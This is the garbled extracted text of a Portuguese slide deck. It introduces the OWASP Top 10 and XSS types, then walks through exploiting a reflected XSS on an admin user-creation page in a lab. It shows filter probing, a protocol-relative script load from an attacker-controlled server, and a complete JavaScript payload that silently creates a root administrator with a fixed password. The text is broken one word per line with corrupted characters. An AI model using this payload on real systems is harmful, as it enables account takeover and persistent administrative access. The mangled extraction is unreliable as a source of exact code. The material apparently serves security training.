3. TOP 10 OWASP
• OWASP
Top
10
–
2013
• A1
–
InjecJon
• A2
–
Broken
AuthenJcaJon
and
Session
Management
• A3
–
Cross-‐Site
Scrip0ng
(XSS)
• A4
–
Insecure
Direct
Object
References
• A5
–
Security
MisconfiguraJon
• A6
–
SensiJve
Data
Exposure
• A7
–
Missing
FuncJon
Level
Access
Control
• A8
–
Cross-‐Site
Request
Forgery
(CSRF)
• A9
–
Using
Known
Vulnerable
Components
• A10
–
Unvalidated
Redirects
and
Forwards
4. Cross-‐Site Scrip)ng (XSS)
• Cross-‐Site
ScripJng
é
composto
por
envio
de
scripts
maliciosos
em
uma
requisição
de
um
usuário
ao
site
legiJmo,
sem
ser
validado
corretamente
pela
aplicação,
dessa
forma
o
script
será
executado
pelo
browser
da
viJma.
5. Composição do XSS.
Os XSS’s normalmente são divididos em 3 categorias
Reflected
XSS
Stored
XSS
DOM
Based
XSS
6. Reflected XSS
Quando o usuário envia uma requisição durante uma consulta em uma pagina
de pesquisa ou em uma variável.
Ex: hSp://www.vulneravel.com.br/no)cias/?)po=R"><script>alert("Reflected XSS")</script>
7. Stored XSS
Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada
vez que a pagina for acessada.
Ex: Mensagem em um fórum, formulares de compras, entre outros
Após adicionar o comentário qualquer pessoa que acesse o
Forum recebem a tela
8. DOM XSS
O DOM XSS é quando é inserido o payload dentro de uma variável u)lizada por
um script
Ex: Campos de interação em tempo real.
<img
src=search
onerror=alert('DOM_XSS')>
13. Encontrando a Falha
Abra
o
Iframe
em
uma
nova
aba
Clicando
como
botão
direito
14. Encontrando a Falha
Agora
já
temos
em
nosso
browser
a
seguinte
URL
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1
15. Encontrando a Falha
Vamos
iniciar
com
o
teste
das
variáveis
Alteramos
link
de:
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1
Para:
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa
e
acessamos
o
link
16. Encontrando a Falha
Vamos
verificar
oque
aconteceu
clicando
com
o
botão
direito
na
pagina
acessada
e
analisando
o
seu
código
fonte.
Damos
um
Find
(CRTL+F)
Como
podemos
ver
a
variável
“new”
é
uJlizada
como
valor
em
um
campo
de
Input
17. Encontrando a Falha
Dessa
forma
vamos
verificar
se
é
possível
inserir
tags
HTML
neste
campo
Nossa
URL
fica
desta
forma:
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<s>
Analisando
novamente
vemos
que
não
ocorreu
o
tratamento
da
nossa
TAG
J
18. Explorando a Falha
Já
temos
a
nossa
falha
vamos
agora
testar
a
injeção
de
javascript
Nossa
url
ficará
assim:
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script>alert(2);</script>
Tivemos
o
acesso
negado
L
19. Explorando a Falha
Vamos
descobrir
qual
parte
do
script
negou
o
acesso.
Vamos
acessar
novamente
a
URL
hlps://10.0.3.133:10000/admin
se
necessário
logamos
novamente
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script>
E
repeJmos
o
acesso
Outro
acesso
negado
L
20. Explorando a Falha
Já
desisJu
?????
Mais
uma
tentaJva
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script
E
repeJmos
o
acesso
Acesso
concedido
J
21. Explorando a Falha
Já
sabemos
que
ele
filtra
a
tag
<script>
quando
fechada
Faça
o
teste
com
as
seguintes
palavras,
ficando
assim:
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.js
Acesso
PermiJdo
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.src=
Acesso
PermiJdo
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaahlps
Acesso
Negado
403
Forbidden
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa</script>
Acesso
Negado
403
Forbidden
Sabemos
agora
que
é
realizado
o
Filtro
da
palavra
HTTP
em
conjunto
com
o
<script>
e
</script>
22. Explorando a Falha
Recapitulando:
• A
falha
se
encontra
na
pagina
de
criação
de
novos
usuários
administradores
• Na
URL
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1
• Na
variável
“new”
• Aplicação
filtra
os
seguintes
valores:
<script>
</script>
hlps
hlp
23. Explorando a Falha
Bypass
do
filtro
<script>
Analisando
o
código
do
html
vemos
que
a
nossa
variável
é
inserida
no
final
da
tag
input
<input
type=hidden
name=new
value=aaaa>
Portanto
não
precisamos
uJlizar
o
sinal
de
“>”
para
fechar
o
script
J
Nossa
url:
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa><script
Fica
assim
o
nosso
código:
<input
type=hidden
name=new
value=aaaa><script>
24. Explorando a Falha
Para
o
Bypass
do
filtro
hlps,
uJlizaremos
o
Protocol
Rela0ve
suprimimos
o
protocolo,
deixaremos
o
browser
uJlizar
o
da
pagina
principal
J,
ficando
assim
o
nosso
script
final
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aa><script
src=//10.0.3.165/xss/e.js
Para
Bypass
do
filtro
</script>
não
precisamos
nos
preocupar,
pois
ela
é
fornecida
algumas
linhas
a
frente
J
25. Criando o Exploit
Para
o
nosso
primeiro
teste
vamos
criar
um
simples
arquivo
de
texto
com
o
seguinte
conteúdo:
alert("F-‐Secure
XSS");
Salve
o
arquivo
com
nome_que_desejar.js
26. Criando o Exploit
Acesso
o
Servidor
via
FTP
para
enviar
o
arquivo
ou
pode
uJlizar
o
cliente
disponível
em
hlp://10.200.210.8/tools
FTP
Servidor
:
10.200.210.8
Usuário:
xss
Senha:
xss
Salve
o
arquivo
na
raiz
mesmo
do
FTP.
27. Criando o Exploit
Com
o
nosso
arquivo
já
no
nosso
servidor
podemos
ver
como
fica
nossa
URL
hlps://10.200.210.133:10000/admin?module=SysUser&method=user&new=1><script
src=//10.200.210.8/xss/
nome_do_seu_xss.js
Realizando
o
acesso
temos
o
nosso
alert();
Mas,
o
Jtulo
não
é
além
do
alert
?
28. Criando o Exploit
Vamos
deixar
as
coisas
mais
interessantes
A
nossa
vulnerabilidade
se
encontra
na
pagina
de
criação
de
novos
usuários.
Então
o
nosso
exploit
deve
preencher
os
campos:
Administrator
ID
Password
Re-‐type
Password
Role
E
ainda
clicar
em
ADD
Muita
coisa
?
29. Criando o Exploit
Vamos
começar
recriando
o
campo
de
Input
que
foi
quebrado
quando
inserimos
o
nosso
Exploit
Antes
do
Exploit
Após
o
Exploit
30. Criando o Exploit
Isso
ocorreu
pois
o
nosso
exploit
e
inserido
antes
do
campo
e
com
não
podemos
fechar
a
nossa
tag
</script>
ela
considera
tudo
um
jascript
até
a
próxima
tag
</script>
no
no
código.
Código
enviado
ao
browser
do
usuário:
<input
type=hidden
name=new
value=1><script
src=//10.200.210.8/xss/william.js>
<input
type=hidden
name=old_password
value=><tr><td
class=ppsse}ngslabel
width=200
id='id_text'
valign=top>Administrator
ID</td><td><input
type="text"
id='id'
name="id"
class=formInput
value=""
style="width:200"
ppstype="admin_id"></td></tr><script
language="Javascript"
type="text/javascript">
document.main_form.id.focus();</script>
31. Criando o Exploit
• Para
isso
vamos
usar
o
Method
document.write(exp1,exp2,exp3,...)
Ficando
assim
em
nosso
arquivo
js.
document.write("<input
id='id'
name='id'
value='user.exploit'>");
Que
vai
criar
um
Input
no
código
enviado
ao
usuário.
32. Criando o Exploit
• Agora
temos
que
preencher
os
campos
de
Password,
Role
e
clicar
em
ADD
J
Para
isso
vamos
uJlizar
o
Method
document.getElementsByName()
para
localizar
o
campo
pelo
nome,
[0]
é
para
selecionar
a
primeira
ocorrência
e
o
value
é
para
setar
um
valor
ao
campo
que
seria
nossa
password:
document.getElementsByName('user_newpassword_1')[0].value
=
"admin@123";
document.getElementsByName('user_newpassword_2')[0].value
=
"admin@123";
document.getElementsByName('selectedrole')[0].value
=
"root";
As
duas
primeiras
linhas
são
para
a
senha
e
a
terceira
é
para
setar
o
Role
(perfil)
como
sendo
root.
33. Criando o Exploit
• Vamos
testar
o
nosso
exploit
adicionando
as
linhas
abaixo
em
nosso
arquivo
js
e
enviado
ao
servidor,
ficando
assim
o
arquivo
document.write("<input
id='id'
name='id'
value='user.exploit'>");
document.getElementsByName('user_newpassword_1')[0].value
=
"admin@123";
document.getElementsByName('user_newpassword_2')[0].value
=
"admin@123";
document.getElementsByName('selectedrole')[0].value
=
"root";
34. Criando o Exploit
• Vamos
realizar
novamente
o
acesso:
L
Como
podemos
ver
apenas
o
campo
com
o
nome
do
usuário
foi
preenchido
Vamos
habilitar
o
debug
do
Browser
e
ver
o
que
aconteceu.
35. Criando o Exploit
• AJvamos
o
Debug
do
firefox
em
Tools
>
Web
Developer
>
Web
Console
:
Habilitando
o
JS
temos:
Vemos
que
na
ulJma
linha
o
nossos
document.getElementsByName
está
com
erro,
sendo
como
não
definido
36. Criando o Exploit
• Vamos
analisar
o
que
ocorreu,
o
javascript
por
default
é
executado
pelo
browser
assim
que
é
chamado,
o
nosso
script
é
inserido
antes
dos
campos
de
password
e
role
do
código
enviado
ao
usuário,
como
o
JS
é
executado
logo
assim
que
referenciado,
acaba
por
não
ter
os
campos
para
o
preenchimento.
• Como
resolver?
Colocando
o
nosso
código
em
uma
função
e
setando
um
Jmeout
J
37. Criando o Exploit
• Ficando
assim
o
nosso
código
no
arquivo
js:
document.write("<input
id='id'
name='id'
value='user.exploit'>");
funcJon
espera()
{
document.getElementsByName('user_newpassword_1')[0].value
=
"admin@123";
document.getElementsByName('user_newpassword_2')[0].value
=
"admin@123";
document.getElementsByName('selectedrole')[0].value
=
"root";
}
setTimeout("espera("Jmeout")",
1000);
38. Criando o Exploit
• Enviamos
o
nosso
novo
arquivo
ao
servidor
e
acessamos
novamente
o
link:
• Sucesso
J
Para
finalizar
o
nosso
Exploit
ainda
falta
enviar
os
dados.
39. Criando o Exploit
• UJlizaremos
o
Method
submit(),
ficando
assim
o
nosso
script
final:
document.write("<input
id='id'
name='id'
value='user.exploit'>");
funcJon
espera()
{
document.getElementsByName('user_newpassword_1')[0].value
=
"admin@123";
document.getElementsByName('user_newpassword_2')[0].value
=
"admin@123";
document.getElementsByName('selectedrole')[0].value
=
"root";
document.main_form.submit();
}
setTimeout("espera("Jmeout")",
1000);
Não
esqueça
de
salvar
no
arquivo
js
e
enviar
ao
nosso
servidor
40. Criando o Exploit
• Enviamos
o
nosso
novo
arquivo
ao
servidor
e
acessamos
novamente
o
link:
41. Conclusão.
• Finalizamos
a
exploração
com
nosso
exploit
e
o
resultado
foi
a
criação
de
um
novo
usuário
de
administração
J.